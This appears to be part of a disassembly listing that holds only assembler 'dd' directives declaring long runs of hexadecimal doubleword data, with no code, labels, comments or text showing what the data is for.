		dd 83B07DB6h, 122A7405h, 0F0496415h, 31526FF4h,	15A23E8h
		dd 0DF94C770h, 882F18E1h, 0C7018793h, 16451FC8h, 7DE808BCh
		dd 30AF307Eh, 0B5C0DE50h, 70940BAh, 1937A7DDh, 0B18CC3A8h
		dd 0E8515A0Ah, 21720700h, 6F3FFCC7h, 0A44F000Bh, 0AA9F2F9h
		dd 0B028D2F1h, 6D1B9C8Bh, 0B84106E4h, 0E1B7491h, 0B7016C3Ch
		dd 2FCF9580h, 0C93FAEC4h, 837C8086h, 4548712Dh,	21761234h
		dd 9234618Bh, 0F284327Bh, 0E3233047h, 0DD89B90Eh, 0C4EA4AC0h
		dd 8EBD6407h, 0EB70BE00h, 578800CCh, 0FB0F6AF6h, 0C55DC8DCh
		dd 0E57B064Ch, 5680324Bh, 5C52E4DAh, 1307EC4Ch,	50C8606Ch
		dd 11619058h, 9ABE4412h, 0DEB7E000h, 52F45F36h,	45E260E6h
		dd 71C7A530h, 8691268Dh, 0EEDC0044h, 0D8DFC27Bh, 0DC07BD29h
		dd 64484B08h, 238854ADh, 126F017Dh, 199E6A56h, 32D408h
		dd 653F1267h, 303663D7h, 409B1572h, 0D9201828h,	47E52A62h
		dd 2834634h, 6A60126Dh,	80FA316Eh, 12653821h, 14DF8F51h
		dd 0D0BA4C1Ah, 6EC9510h, 4913850Fh, 0C93C0C70h,	4C18F9B9h
		dd 60FA6927h, 62330528h, 8DC0FA66h, 64624C6Ah, 0DC619492h
		dd 54905025h, 0A8081C73h, 34A5AFCh, 7C4F49BBh, 6C4823AAh
		dd 0C500FE0Ah, 5B823563h, 9E1661h, 21E80524h, 0CD3B2DB0h
		dd 14736B06h, 46F07D4Eh, 12097E81h, 9C7E6A62h, 63360034h
		dd 24CCB912h, 25020F66h, 85C1D478h, 22285A58h, 8B12931Dh
		dd 0BCE07077h, 0D63F44FEh, 0ADFB3500h, 0AC21D2B7h, 92FC02D0h
		dd 902357EFh, 43460850h, 62B85402h, 4C3148D4h, 0B8A88E13h
		dd 340065EDh, 7E22C51Ch, 62341E5h, 0C8AB6F07h, 4F0C909Bh
		dd 0A836391Ah, 4A210F0h, 0BDF5188Fh, 15864F48h,	0BC57A3DEh
		dd 75C3FC03h, 10484007h, 0CC738054h, 17EAA3CEh,	413B09D4h
		dd 0EF88E024h, 659ADD7Bh, 0A851E418h, 57FF4318h, 0FB86A9h
		dd 58E2CC3Fh, 0E7CD6A39h, 14802E24h, 0B005B913h, 0F4072F6Bh
		dd 3082705Ch, 0BBECE884h, 7D780013h, 0D1BCA6B6h, 562E6A4Ah
		dd 6911E432h, 89C8DE04h, 53080FBh, 4760D3DDh, 0D7DAD918h
		dd 9883E742h, 0A9C149C2h, 8B1F2886h, 1949E8DCh,	6E2840B1h
		dd 4F471DBh, 97F653C1h,	364A00F3h, 370768h, 19E9A761h
		dd 3EF5C963h, 77A25200h, 6E53F3EFh, 79C80FFDh, 3A00A04h
		dd 5D405E1Ah, 1F90E14h,	0F44C8770h, 6D11A04Ah, 105D1017h
		dd 0F42408CCh, 3A729C6Ch, 323B7AEh, 3411B9D4h, 0D3B5A80Bh
		dd 996C2004h, 0E0BB0Fh,	58176506h, 6842C1B0h, 2EBA8616h
		dd 0E3C0BC5Fh, 70395040h, 70029F85h, 0DE60F39Ah, 1306D3CEh
		dd 46A214Ah, 64F5FFA0h,	40029476h, 3E058B15h, 47109531h
		dd 1A001548h, 5CCD24C1h, 99DC190Eh, 80593B4h, 480A30C0h
		dd 465C30FEh, 106A0298h, 7E9CA385h, 56A0BB3Ch, 88AC7929h
		dd 0BCB79180h, 284572h,	6A87D8C5h, 5F8018D9h, 4D1C20F7h
		dd 5AAEB614h, 8CA0B844h, 8B5A300h, 7FB16470h, 0FC805010h
		dd 0C6AE03A5h, 82214931h, 8FD4995Dh, 0DC78C20Bh, 0B75C407Bh
		dd 0F5D81C89h, 61E0FA58h, 607DF8BFh, 72348C58h,	8D199260h
		dd 0FC7684h, 9C3D3343h,	0EC424B5Bh, 84FADF28h, 7057A934h
		dd 0E9E0D8A6h, 0A1008ECEh, 0DCFA6E61h, 3AD96B03h, 6F0117E6h
		dd 69219CEFh, 253C2026h, 6C521826h, 64CF308h, 518ADC58h
		dd 0D71A5C00h, 0FF91E419h, 0C809F66h, 5795B9D5h, 37040C1h
		dd 26A94B5h, 5E5919B8h,	0CE147200h, 7830CF8Dh, 0C5CBC02Fh
		dd 0D7F70B04h, 0F885C940h, 8E549436h, 239CDCh, 0B4268297h
		dd 0DC0A2A2Ch, 2869E55Ah, 4A072176h, 8C785182h,	7688874Dh
		dd 0F2D60048h, 830EE129h, 87585C64h, 0F0126961h, 87CE6Ah
		dd 0B112612Ch, 202EDF93h, 0FD807436h, 98FAA5BAh, 7B773A8Eh
		dd 0E84DE53Fh, 90270A84h, 5FB0BC34h, 30102F00h,	7D1FFBB5h
		dd 69C200C7h, 77C516AFh, 930DB26h, 0C8DD31AAh, 0D8EE58A9h
		dd 25B5784h, 727D5810h,	69EF44DCh, 0C7131501h, 0A8A4CE05h
		dd 0C48530C4h, 23F3B38h, 685428D4h, 2C048974h, 0AE00FDD3h
		dd 46465EC0h, 3241CB00h, 0B9DAD24Fh, 23785550h,	0F0B67E88h
		dd 91B50002h, 60BCBCDh,	8F7679A7h, 34D7A3Ah, 0F753ADAh
		dd 55590972h, 0A4A13D11h, 41F58C73h, 134E2CE0h,	0CD79F80Ah
		dd 57E5254Ch, 405F9C24h, 19AEB950h, 0B7050B2Bh,	0FF0E5CF9h
		dd 74FCF0D8h, 8C145306h, 17313B77h, 4071C8DCh, 0B2E84A60h
		dd 0ACA886F4h, 900FF37h, 5F0515A6h, 3D21ED5Eh, 0E22C3EA0h
		dd 0A2EF8200h, 0D4C9A69Ch, 0FC3984AFh, 0AC81421Ch, 8E052175h
		dd 4A0784DCh, 0A3697A30h, 0B012C04Eh, 377D1402h, 0CAE4934Bh
		dd 1FECD101h, 0D9FFE03Dh, 550C30A7h, 4D80931Ch,	85649865h
		dd 0DF3911C7h, 9C238899h, 48E496h, 86B01440h, 39B7559Fh
		dd 0C823587Ch, 0C49FAA1h, 0B7590078h, 0DCEDDBE6h, 0EC581DC0h
		dd 75E780F4h, 1FC2B4h, 35F6FDB7h, 6176F2AAh, 8BF422h, 7BDE6813h
		dd 0D0B209E1h
		dd 0FF3F3E00h, 0AB83D2Dh, 1DBA2F4Fh, 5DEC1C0Eh,	0E53BB4D1h
		dd 0F1EA0081h, 1CA791EEh, 1F09B12h, 0E6F3D70Fh,	0F2EC727Bh
		dd 0D5163042h, 25DD0914h, 102F97F4h, 3034623h, 0AA903E66h
		dd 98F165h, 0B519477Dh,	0E0016E44h, 27598A57h, 646140D7h
		dd 0C8600049h, 0F6D00E4h, 5D6C6AB8h, 0FE584992h, 0C5787AACh
		dd 0E52D0BF6h, 29302197h, 40CFD4Ah, 91C2D87Dh, 4792D3DBh
		dd 6025441Ch, 67D726h, 0F4AE8ADDh, 3EF2426Ah, 781359C0h
		dd 1FA0B1B9h, 42DFC6C7h, 80CB05D9h, 0D8DD0F61h,	86027257h
		dd 710AA031h, 4498C77Ch, 452E6099h, 0BD73A95h, 0A07FEC1Ah
		dd 9D9C41h, 4801C134h, 5D2D3CEDh, 7AFC2C90h, 82CF403Ch
		dd 6882F736h, 64D2F5h, 8D02D5B2h, 565C76AFh, 0D1371900h
		dd 6D4073DBh, 0D8A67Dh,	220563F2h, 0FC44C94Ch, 32DAE602h
		dd 0C83BE119h, 4074D3B0h, 0CB09CE7Dh, 840E5DE3h, 58452248h
		dd 6A38C8D2h, 0C7F5720Fh, 0CCA385D1h, 528A4B0h,	0FAD78CF4h
		dd 0F20487CEh, 44258ADh, 14900864h, 8318F21h, 9E655836h
		dd 0FE3FC843h, 0AB929FBh, 94EE04E4h, 0A43C80C9h, 0B503F05Ah
		dd 0D0984AF1h, 54168841h, 0AFA8A007h, 56FE804Dh, 73E851C0h
		dd 924128Fh, 28D5933Ah,	913C6D08h, 11177D9Dh, 109135A9h
		dd 0B2058E20h, 0C038F7B4h, 6F2295AAh, 0A204A318h, 2DC1D348h
		dd 309133B1h, 284B0D62h, 0C7C09488h, 8A3A5DAh, 4A03E61Fh
		dd 3BEB1803h, 3CBB801Ah, 5872009Ah, 4FEA9BC5h, 41F7BA4Dh
		dd 8551280h, 534A44D3h,	5E451910h, 2C50F88Eh, 44403CF5h
		dd 3CEE40Eh, 0F0B73C42h, 5079712Dh, 0D6116142h,	19DB0437h
		dd 72012A4Dh, 79854D3h,	10213C16h, 84343921h, 35608C38h
		dd 3040DD11h, 0F4871804h, 6F028984h, 5D8DEB07h,	41B97FCh
		dd 0FE4E5AC4h, 4BD81B8h, 9293A100h, 0B228473h, 0DB9006EBh
		dd 0B03968D8h, 37EA509h, 4C0C615Ah, 7A01F828h, 0CC74B137h
		dd 33FAFD77h, 0C3FC00F4h, 0E43BEAC8h, 0D9A33A84h, 7809F000h
		dd 3DD47D52h, 4D7FF709h, 8950B059h, 4ADFFAC7h, 48908B79h
		dd 78C70069h, 0CDC7020h, 26FC04E8h, 0ADDB597Ah,	0C20F011Ch
		dd 0FFF1C0DFh, 4F624C64h, 800C5CF2h, 0DA29DC09h, 63906E1Dh
		dd 2DCCE800h, 487365E0h, 12577C02h, 3E56E1DBh, 4A2368h
		dd 0FEFA448Bh, 5096A02h, 90F62C28h, 0F342008h, 0A415E64h
		dd 0AD30D9B8h, 0C868191Dh, 6B82FE00h, 0E1B4E7h,	0EEAF54CCh
		dd 9AB78C59h, 0C4CDF26h, 478B08h, 0E5061384h, 0CCA8372Bh
		dd 950E888Ch, 6407FCDDh, 0ECA44BE3h, 70064408h,	189CEC24h
		dd 60215212h, 40591B4h,	0F437D134h, 0AA4045B4h,	768B104Dh
		dd 80558890h, 266AE252h, 250C07DBh, 0E9A4F4F8h,	17C83EFCh
		dd 6DB8B90Eh, 0B4AC89E4h, 18C449D4h, 0FF286F8Dh, 53850F0Ch
		dd 0B3EB82Fh, 0E6FDA1C1h, 3287DC40h, 573C68A8h,	58D61B80h
		dd 0A0490328h, 0E9A7D450h, 0D919D500h, 2F703340h, 88859ADBh
		dd 0B090B67Ch, 175B4DE5h, 1FBD72Dh, 0CAEA4408h,	0C46F2BF1h
		dd 5A837F3Fh, 4738FA9Fh, 59D7DD0h, 80F3E525h, 19D46910h
		dd 0C03A6229h, 80FC530Bh, 5AF1896Eh, 5FEF1E94h,	286A00FDh
		dd 17DC049Ch, 22D1032Dh, 604E7E0Ch, 1548B0Ch, 0BF779A39h
		dd 80DB4C60h, 0C70F7899h, 0B86A4DDDh, 0CD45044h, 0C2D019B6h
		dd 52A39885h, 8E4F1C0h,	36AB43Bh, 0D433BE4Eh, 0B6FCB866h
		dd 127004B9h, 0C8CE5954h, 0DC398BD4h, 0F46689E1h, 718C717Ch
		dd 0F8182Ah, 25B9568Ch,	18638ED6h, 0E0846E4Bh, 0C90180F2h
		dd 7E5A2769h, 4CB860D4h, 0B020AD41h, 92314021h,	18DC5926h
		dd 0A0AD2E43h, 9653E9C1h, 3E180130h, 682F11DBh,	0D36A0B14h
		dd 0D53861E4h, 14707F71h, 0CD58011Dh, 5A4CC7D6h, 0A1982090h
		dd 0B4749E43h, 54E740E8h, 0BC1EDB5Dh, 0B5CB87E0h, 0A008730h
		dd 409A3EB2h, 8847C770h, 50DD85E1h, 4E1C8E50h, 829900F8h
		dd 0D0DDB20Fh, 7801854Bh, 425F7505h, 0C8DA3887h, 807919D1h
		dd 442B58B1h, 4394E210h, 9DA650Ch, 0B16AC9E9h, 21D98038h
		dd 8A02ACDEh, 0FDE5F439h, 21D50425h, 978DC2Ch, 8400CC29h
		dd 0E53558A9h, 0FB02308Ch, 0B21025F0h, 71BCF980h, 8E182Ah
		dd 26C3601Ah, 1F3271E1h, 899C9050h, 336D9614h, 0A79D1188h
		dd 882FB040h, 0ED26C0DCh, 0FF4214F9h, 58561A31h, 0B0A2F082h
		dd 61C1218Bh, 23307335h, 0D014F13Bh, 0C801EB0Fh, 2B73ECB3h
		dd 0F8603F0Ah, 0E6FF21EAh, 6E2C5911h, 58D318A0h, 5462BFE5h
		dd 0B1D276B0h, 0FC103F4Ch, 20C4B3C4h, 0AF322E15h, 60635CA4h
		dd 2370153Dh, 0A111A605h, 15454A05h, 1F83801Bh,	0E59806C1h
		dd 70963402h, 9E97CCABh, 385EED94h, 2A8B7380h, 0F800F675h
		dd 0B664979Ch, 42190369h, 2481108Fh, 75897DC8h,	0C1003B77h
		dd 67004D93h, 10906064h, 0CACB921h, 0C9218377h,	8B3F726h
		dd 2096F80Dh, 47BCF028h, 0B489058Ch, 88FF9CD4h,	43018F80h
		dd 2610EB8Dh, 0F02140ECh, 1C904Ch, 0A5BEF68Bh, 76C9072Eh
		dd 48C8EA4Eh, 0DD280318h, 5D5ED290h, 2282B8B8h,	1C398524h
		dd 0E7056E04h, 45FA605h, 4027FD8Ch, 484C4BC5h, 100D05DDh
		dd 0B43E3B75h, 340B1D8h, 867D1311h, 0C8A0B6B3h,	88701222h
		dd 948D528h, 6E6863DEh,	0C72281ABh, 0AD84FF0h, 91F4623Fh
		dd 0CE7780C8h, 1FF5C39Fh, 5D0711E4h, 0D0EE531Eh, 0F2C4D3F4h
		dd 6FBCBC90h, 0C284EEABh, 23BD1911h, 0E81430EAh, 0E051CA20h
		dd 0B09995E8h, 3AE42157h, 90D95040h, 0C58A4D75h, 8D5596D0h
		dd 0C0507EFCh, 58CD1298h, 0F2D72431h, 54698B00h, 75451CB4h
		dd 5CCCA0h, 2C02D795h, 4FD8DD30h, 0B704B0B4h, 0E8C14BF7h
		dd 34104A75h, 4CBAC9C1h, 7BF6E425h, 1430278h, 80490FEEh
		dd 735C40E4h, 241C9922h, 19874BCAh, 0C05E87C3h,	0E38AC4DDh
		dd 0D415591Eh, 0B64D128h, 7793AD3Fh, 0D081DC29h, 34E02006h
		dd 0B2DDFA0h, 164C3755h, 26B88823h, 90A89D00h, 72AD02D1h
		dd 2DD810DFh, 895F124Ch, 59E540C2h, 0AD213FF8h,	62804511h
		dd 0F8D46CB8h, 0A48A564Ah, 0B85A9800h, 72035439h, 0D1CE81Dh
		dd 5E0C0140h, 0E3ACAAF2h, 0E67D6E00h, 424A0B25h, 5EC81A94h
		dd 18F75E30h, 0D75F00A9h, 850FA106h, 58D03B77h,	502F5EECh
		dd 30029323h, 0E3C00ED6h, 820CFAA4h, 25ED90h, 3A1A578Bh
		dd 0D75A0B12h, 414C88D0h, 0CDDA0574h, 0D87D8703h, 19762C8h
		dd 0C6A1C9ACh, 0F4670500h, 0A8A20D00h, 1A4ECECDh, 48865CF1h
		dd 0FE090404h, 2090F04Ch, 6C6D5B03h, 0DC1F7EAFh, 0D4275803h
		dd 0B109F2DFh, 0C6DA88Bh, 822E0AC0h, 0CC7F00DAh, 397AEEDEh
		dd 992870B2h, 2720A449h, 4C7F2F38h, 86536010h, 50D98713h
		dd 1B1CB800h, 4CD774h, 882B6843h, 8B963594h, 60E06200h
		dd 59DF3B5Fh, 0FF44B8A8h, 0F80921D2h, 0ED720031h, 0E88105FBh
		dd 0A5113E8Fh, 14482E78h, 0B85BC03Ch, 56E0D469h, 97006CAEh
		dd 0C131B853h, 136D1854h, 40D111D4h, 3E673C14h,	8BF813B3h
		dd 2A430F02h, 58B911D5h, 55E220h, 9A81FA27h, 59B1B383h
		dd 3B569D1Eh, 0DA6A6D02h, 82644088h, 120501DDh,	0D8365875h
		dd 0B87439F5h, 380600B3h, 0BA85179Ch, 0F2283D9Eh, 0E5047457h
		dd 51EE1D6Eh, 0FE1B0480h, 4E70005Ch, 0AE0D25CDh, 7A05329Eh
		dd 3EBDC1D8h, 48DBF4D0h, 4BA883A0h, 0F54E69FFh,	51B84C40h
		dd 0F26770h, 4A14D78Ch,	548769B7h, 0E4C8EC9h, 3A805194h
		dd 2E058515h, 0E41695h
		dd 2F15423Dh, 605C21E2h, 10329600h, 0A7BA0F9Dh,	1088916Dh
		dd 0CA1F74BEh, 0C2016240h, 52C50F13h, 60A8A0FBh, 6C77058Ah
		dd 0B4D5044Ch, 2095F5DCh, 55535FDCh, 7D86071Bh,	0D0B0D9AEh
		dd 3970F71Dh, 103EA713h, 570AC022h, 5327A0A0h, 40001701h
		dd 0D035E29Bh, 24846977h, 693CD872h, 6600D064h,	75925848h
		dd 6A838Eh, 0BB22C41Eh,	8DDFA099h, 90BCB350h, 820179Dh
		dd 976049FBh, 516B0D3h,	0D0B6AAEh, 43D05CAFh, 0FC2D996Fh
		dd 877BE0C8h, 68A36A0Ch, 77E2083h, 0BED044B6h, 325EC242h
		dd 6062D084h, 2E89153Eh, 73C88E05h, 8C604692h, 9BB8094Ah
		dd 41B7E200h, 0D36EA640h, 0FCA45853h, 483CCC4Eh, 8D00C87Fh
		dd 8C61737Eh, 0F096E243h, 806D516Eh, 7746E820h,	0A8299F0Fh
		dd 0B011B084h, 0F10082ACh, 42C7CC73h, 9609DAEBh, 1178A6B0h
		dd 652B0050h, 0A57EB1D9h, 3FD726DEh, 664E82D4h,	84FB7FF2h
		dd 94BCC70h, 0BBCA7EBFh, 0E4FF3C04h, 3F07D99Ch,	0BC60AF3Bh
		dd 921006A0h, 1727E39h,	781145BEh, 34A43ABFh, 9162BD0h
		dd 0ECB25A26h, 5C3020F2h, 902D09CCh, 3404ABE5h,	4A2640EEh
		dd 2DE6A5FEh, 0F8AE2E6Bh, 516256E8h, 0A0020B7Dh, 0F5105859h
		dd 44389C9Ch, 0C1564247h, 11F4E855h, 44244D6Dh,	2562C907h
		dd 0A548EC90h, 57C55441h, 50356060h, 0C73C888h,	0C17C22EDh
		dd 48C53E8h, 0DF93C76Fh, 0C0E4B2E9h, 0A4C78690h, 0F6620F29h
		dd 0C91E7675h, 0A4824DB5h, 0E0002AF1h, 4C289BB4h, 7D062C8Bh
		dd 0F841E386h, 0D5DA7304h, 0D0F25790h, 6C384CF2h, 0D9FF031Ch
		dd 59091389h, 0B43A9903h, 72BC54Bh, 0FF2C196Ah,	0DEEDA2A5h
		dd 0FD494860h, 2A782CBBh, 4AACA065h, 0F06897E4h, 8800831Eh
		dd 0CC7472EEh, 139DF7DFh, 5AE48Ah, 109276C1h, 0E0E81E9h
		dd 0A4DACE5Bh, 84E9F477h, 0D2E1F603h, 0DA8643Ch, 5100983Dh
		dd 0D84322F7h, 13ACDDDh, 9C7C24FEh, 7925036Ah, 907B12BCh
		dd 6E1E8A2h, 40C0C4Ah, 0B9D460FAh, 4D0E88Dh, 7DC14939h
		dd 2C485CF8h, 8C95E8h, 0D048ACC1h, 5AE08E71h, 0EB4C1E0Bh
		dd 66F44801h, 59B30B90h, 1C5B53D2h, 71A6D8h, 9E99D5C7h
		dd 0E60DC64Ah, 0A280EA54h, 22AE0C01h, 6DCA0F85h, 0E719464h
		dd 3628D55Ch, 41CC8813h, 5B219D88h, 287C88DDh, 2CCE8F40h
		dd 0BACBEEBh, 5802FEB6h, 0C5CD509h, 6C608844h, 6A236312h
		dd 21FE18C6h, 12006435h, 0DBF9B20h, 2188F8Ch, 0DDE5931Bh
		dd 70E0CAFCh, 4244023h,	3F4080D2h, 1662BFBBh, 8039215Ah
		dd 4DE9564h, 602E674Ah,	389F23h, 370EEDA8h, 9BC3228h, 385D213Ah
		dd 750840D3h, 74BC244Dh, 34012E46h, 0F4B72CC9h,	0AD41C97Fh
		dd 0DA300381h, 7822FBB9h, 14AB2770h, 0CACDCC01h, 0B4022F72h
		dd 0DC59034Ah, 0BEA4AEA8h, 0E786E4Bh, 401094D8h, 0D3542032h
		dd 58F20674h, 48EE86D2h, 0CC5062Ch, 5E41CA60h, 0AB8C0066h
		dd 444B6A90h, 0B49A4278h, 4F4CB720h, 98E840FEh,	0CE8E6F90h
		dd 0E65C5B00h, 32B425F8h, 0BD111035h, 54895E60h, 234C2F6Ah
		dd 828C002Eh, 0D11E96FEh, 0B519DA09h, 0D04204Ah, 0DF064A6h
		dd 0CE083F09h, 884C4EF9h, 0B0E1C3FCh, 1A0741E8h, 0DE505864h
		dd 1CA37041h, 144A6FA1h, 0B008A0F7h, 0FFC00F3h,	71BC3B06h
		dd 117D2000h, 0C1D89E8Fh, 8ACF13A6h, 507F0B7Ch,	0E44F3460h
		dd 0D780D099h, 0A622DE9Eh, 0CBC10002h, 183CFE8Ch, 0B44EF615h
		dd 2F2F34A5h, 49FB10F4h, 0D17657C1h, 605E6108h,	749EAAA0h
		dd 0A40A2BFh, 3FF5E20Bh, 6A8B0698h, 0F7E09958h,	20735F0Fh
		dd 710B035Eh, 0A96D8BDAh, 0AC2D3F07h, 0D30066E8h, 0DB6C0640h
		dd 0C96E09CCh, 0F049FE41h, 95A0F0A6h, 0AB1DD31Ch, 5CC2B7D7h
		dd 4BF47451h, 0EC5BB0D1h, 0EDB94660h, 0A3BDD803h, 0C8662034h
		dd 0F19386A5h, 0A001C060h, 3AFD7830h, 0E58B2EB0h, 90595D0Bh
		dd 0E81805D9h, 382FF42Eh, 3F34B108h, 90F0AB89h,	58F82410h
		dd 0A1A3D127h, 25E9DCD0h, 0FC00D079h, 0BC5AB227h, 0EE53D603h
		dd 0FC2B4A80h, 0A4008C7Dh, 6CDAC216h, 167D6917h, 1F5C52C7h
		dd 6E04E200h, 14DB705Dh, 66D7490h, 0D46705C6h, 90379119h
		dd 7E65D590h, 7B9F38C5h, 4123C83Eh, 795AB300h, 98534277h
		dd 4FD425B8h, 3900CC6Ch, 88B33D75h, 17A006B5h, 0E259B273h
		dd 85E20348h, 0FF1426A2h, 82580B52h, 878A6FE4h,	7DD41AA4h
		dd 53850542h, 86024CDCh, 0F6F22DD8h, 0C6DD01D4h, 7AF35FE4h
		dd 2D23802Fh, 7AA52700h, 16A0AA9h, 0DDB18EDCh, 5381C0h
		dd 0E050B7Bh, 5B851008h, 28DA8038h, 2036CC34h, 96F22CB2h
		dd 9DC30h, 0EB3AF59Bh, 8C06DD9Fh, 0F426EDF4h, 0FC8418B9h
		dd 54C801C0h, 34405CD1h, 0B08C93FCh, 0E5220211h, 5481C1D4h
		dd 73261C64h, 5764284Ah, 92C60A05h, 0B242DE10h,	1A836054h
		dd 0B4093F54h, 0B2049093h, 44485E08h, 0A704826Ch, 5BE78F40h
		dd 0EF02D700h, 870BA608h, 5F5737E5h, 40C8DB39h,	6D150583h
		dd 0CFCA41Fh, 0F0EC74D2h, 7D0F8854h, 0BC31EB29h, 5B2B600Bh
		dd 0BE40D040h, 0B305507h, 1D3469F5h, 497784E8h,	2C42E075h
		dd 7E3094E2h, 0ABE07BDh, 0FA1A0866h, 0A3A11694h, 3006E21Ch
		dd 0F2526066h, 92077194h, 6509FF83h, 0BD2AAEA0h, 72AA14C6h
		dd 4112E45Fh, 0B2F8E3A4h, 634F304Bh, 0DE802C00h, 0FFCB7383h
		dd 4A21C059h, 6AC9DB48h, 0C89EB51Fh, 0FCAC6D81h, 985033F4h
		dd 4D6130Fh, 0D3048F65h, 0C870CF87h, 2A4CC046h,	6C02B99Dh
		dd 0F218FD77h, 65F040ABh, 3EFC929Bh, 0E5C081D0h, 7BB05255h
		dd 510042Fh, 5707C04Ah,	78DBDA97h, 1F2B3F3Bh, 56834B0Fh
		dd 55268547h, 0F27CA2EDh, 0B5AB3023h, 0D5EA06ECh, 0D0088E4Ah
		dd 0BB3F878Ah, 113C0614h, 45FB4400h, 0FEC61EC2h, 52A400C3h
		dd 0BE8D2788h, 0B6138B84h, 0D88B04ACh, 0D0C02CC8h, 1FAE3EAh
		dd 0E907C66Bh, 28FCAB61h, 25270354h, 0C87D1FC1h, 28C5017h
		dd 0FD010443h, 2CD4D1E5h, 0E02E01Fh, 0D96966D9h, 184B7954h
		dd 0F7550024h, 7B9FC09h, 5460F2D6h, 87279821h, 22820026h
		dd 8589D391h, 98BEAF76h, 72F46F0Bh, 0F80C0018h,	0B3FE0867h
		dd 0C127D54Fh, 0FCBC8843h, 7064674h, 2E1078B3h,	0D8CDAB60h
		dd 0C0594A11h, 3CDB6248h, 4F2DA492h, 0F4246ABAh, 4C0FDC78h
		dd 0E90FA630h, 92A485E9h, 75112890h, 0D7CB005Eh, 0C1D899F5h
		dd 0D0C1653Fh, 7158DB6Eh, 3826809Fh, 0AF81D400h, 0CC573AC4h
		dd 9491AA00h, 20DC1AF9h, 518F6152h, 7B79336Dh, 77FFA000h
		dd 5E1485D6h, 0F03440B5h, 784AE209h, 9FA50B12h,	38ECC8E4h
		dd 8B0C148h, 99E50F48h,	0D0DA00E3h, 81804B90h, 0E0DBC2C4h
		dd 0E7603230h, 7DD11111h, 0F8189F57h, 0CB20D50Fh, 6AA0C69Dh
		dd 6BF25951h, 844340h, 49EEBF0Dh, 80B5E2CEh, 80A4B597h
		dd 9484B50h, 4F90202Fh,	0F4D64717h, 0EA04A4h, 0B487B81Ch
		dd 9B554081h, 534A1A00h, 0AE736594h, 0AF68012Eh, 57DD085Eh
		dd 0C8343A36h, 0FFE23CA3h, 236830h, 6906321Dh, 95483FDFh
		dd 7BEFDD17h, 24531C08h, 80571128h, 0DF3FC78Bh,	0C050B989h
		dd 0E7C78294h, 0D403EAEAh, 0DCF1EC6Ah, 0EDBF880Eh, 0D3310932h
		dd 387111C1h, 0FC63D10Ah, 202882BCh, 0D0FCEDC4h, 30199DC8h
		dd 20B90881h, 10A054BDh, 0C18A9AE5h, 47497E8h, 5CA4B47Fh
		dd 3A3B2546h, 9ED8A0E1h, 93D211FCh, 8137BF10h, 6E3A2F00h
		dd 0C71F59D3h, 0E2C1F53h, 6088D2D7h, 1C93E48h, 27E6EC22h
		dd 10E8D559h
		dd 0B196A4Ch, 8CB88575h, 65248C2Ah, 0E4083E29h,	9DF47300h
		dd 7DB8364h, 0C92CAE3h,	2F038E02h, 74C05C6Eh, 0EC169B0Fh
		dd 0E06C76h, 0BFAD1372h, 0C080FC82h, 1AFAD795h,	0D866B56Eh
		dd 2386370Dh, 9EF1B13Dh, 996A9021h, 0D44DC1E4h,	4440DBDEh
		dd 486B9848h, 5C048477h, 1057DF04h, 210916CCh, 0DB7068C0h
		dd 0A7E89428h, 86D4042h, 3DF5A4C0h, 486A0469h, 0AD097942h
		dd 74FF00A0h, 0F42B25E8h, 0DD05044Bh, 869C8h, 4F4723FCh
		dd 187102CDh, 3E27370Dh, 5CAD9060h, 467620B4h, 91C800FBh
		dd 712145FAh, 0B7CC02F0h, 1A4E66C7h, 6A3EBC64h,	0F88631ABh
		dd 0FC32B9DBh, 18A3277Ch, 67138402h, 0C4C0D8EDh, 39C80DD0h
		dd 1681B69Dh, 37065D5h,	94093BB1h, 3D2891F5h, 0FADAE4h
		dd 0F677E2EDh, 9ECAFB0Eh, 90023F6h, 508AECBDh, 276D8BCCh
		dd 30EC4E5Bh, 350C8C03h, 0D0F9F78Eh, 137A5B45h,	8897D603h
		dd 0C509C054h, 6DECCAB7h, 0FF16E2C4h, 0F50C507Ch, 39B990h
		dd 0CCC163A8h, 0ADDE81ECh, 0E0E55904h, 20BC6C8Bh, 0A8BDC085h
		dd 6A5604E8h, 0D4E086D3h, 0F0D70BCEh, 0A85465D4h, 3E880608h
		dd 29D257Dh, 2FFBF0C4h,	10952041h, 207B5EC6h, 18552634h
		dd 7B478600h, 0E9531BAEh, 0C8630292h, 0D5460A37h, 0ACF73085h
		dd 26258424h, 0D2CAE102h, 6560B072h, 616B3D9h, 20AC9099h
		dd 660993E8h, 70D521DAh, 0FF402760h, 23D23020h,	9B12B89Ch
		dd 78414AB1h, 88A8F072h, 487D9FF4h, 1D80ECE5h, 9682A1DFh
		dd 0A84F51E8h, 0FE23D82Fh, 0E0C0A51Dh, 1A4AAAEEh, 98987951h
		dd 6A874458h, 12EF7000h, 394F7FB7h, 4ADB3E8Bh, 23543B5Bh
		dd 0B22E0A22h, 59050880h, 53570A07h, 4488C7D9h,	81C0602Ah
		dd 69EB0074h, 0FCF18A76h, 8D60F502h, 0A3FB67C1h, 631B00A5h
		dd 0F43C8AEFh, 9504A296h, 6A059C3Fh, 0F2090480h, 605745DAh
		dd 344A680h, 0DCE154DDh, 6DC82FDCh, 42E56403h, 7E03107h
		dd 5196805h, 58838710h,	3BBEE479h, 462384h, 713663DEh
		dd 0F056DF9h, 91C935F4h, 6E5DC8D0h, 48FF2D0Bh, 870F883Dh
		dd 0D7D62164h, 7065F1F4h, 9FEF7EE8h, 20538C0Fh,	0C1B60E08h
		dd 0EA9D9800h, 0EECE5A11h, 0D270276Fh, 0F20DF422h, 8095111Fh
		dd 9E5DE9B1h, 889A4B81h, 0E0006900h, 4610D4FBh,	0A7D163h
		dd 8DA97D9h, 5CA5B58Ah,	94F2C1F0h, 5896B098h, 49FE215Eh
		dd 0CB0BE080h, 275BBC2h, 0BF14C980h, 0ECFC77FFh, 1C4A467Ch
		dd 6D411ECAh, 243C7A99h, 0F27443EEh, 4278004Ah,	76138B51h
		dd 88B44D85h, 24BCB235h, 0A3280FE5h, 0B56C5868h, 57000D7Dh
		dd 213C81A1h, 76F6CA95h, 1017B586h, 99802291h, 0DC382468h
		dd 3ED54C48h, 65080C8h,	5DCF0D3Eh, 0D3541769h, 1094483Bh
		dd 0AC79A5h, 0B0B28FC6h, 0AD00A6EDh, 0F70E886Fh, 38C2F543h
		dd 56018B90h, 9EDF7653h, 6D4BF8E9h, 0A4B09D7Ch,	59A2C20h
		dd 4A90C5FDh, 70886084h, 6A2F5712h, 0F4AC1666h,	0C7120068h
		dd 6ADAC8B3h, 877F1872h, 0D0DF2B0Bh, 9DECD0D5h,	0C01B1491h
		dd 0FE303521h, 406B9642h, 2767C9Fh, 0AE3C450Ah,	54C4F4A7h
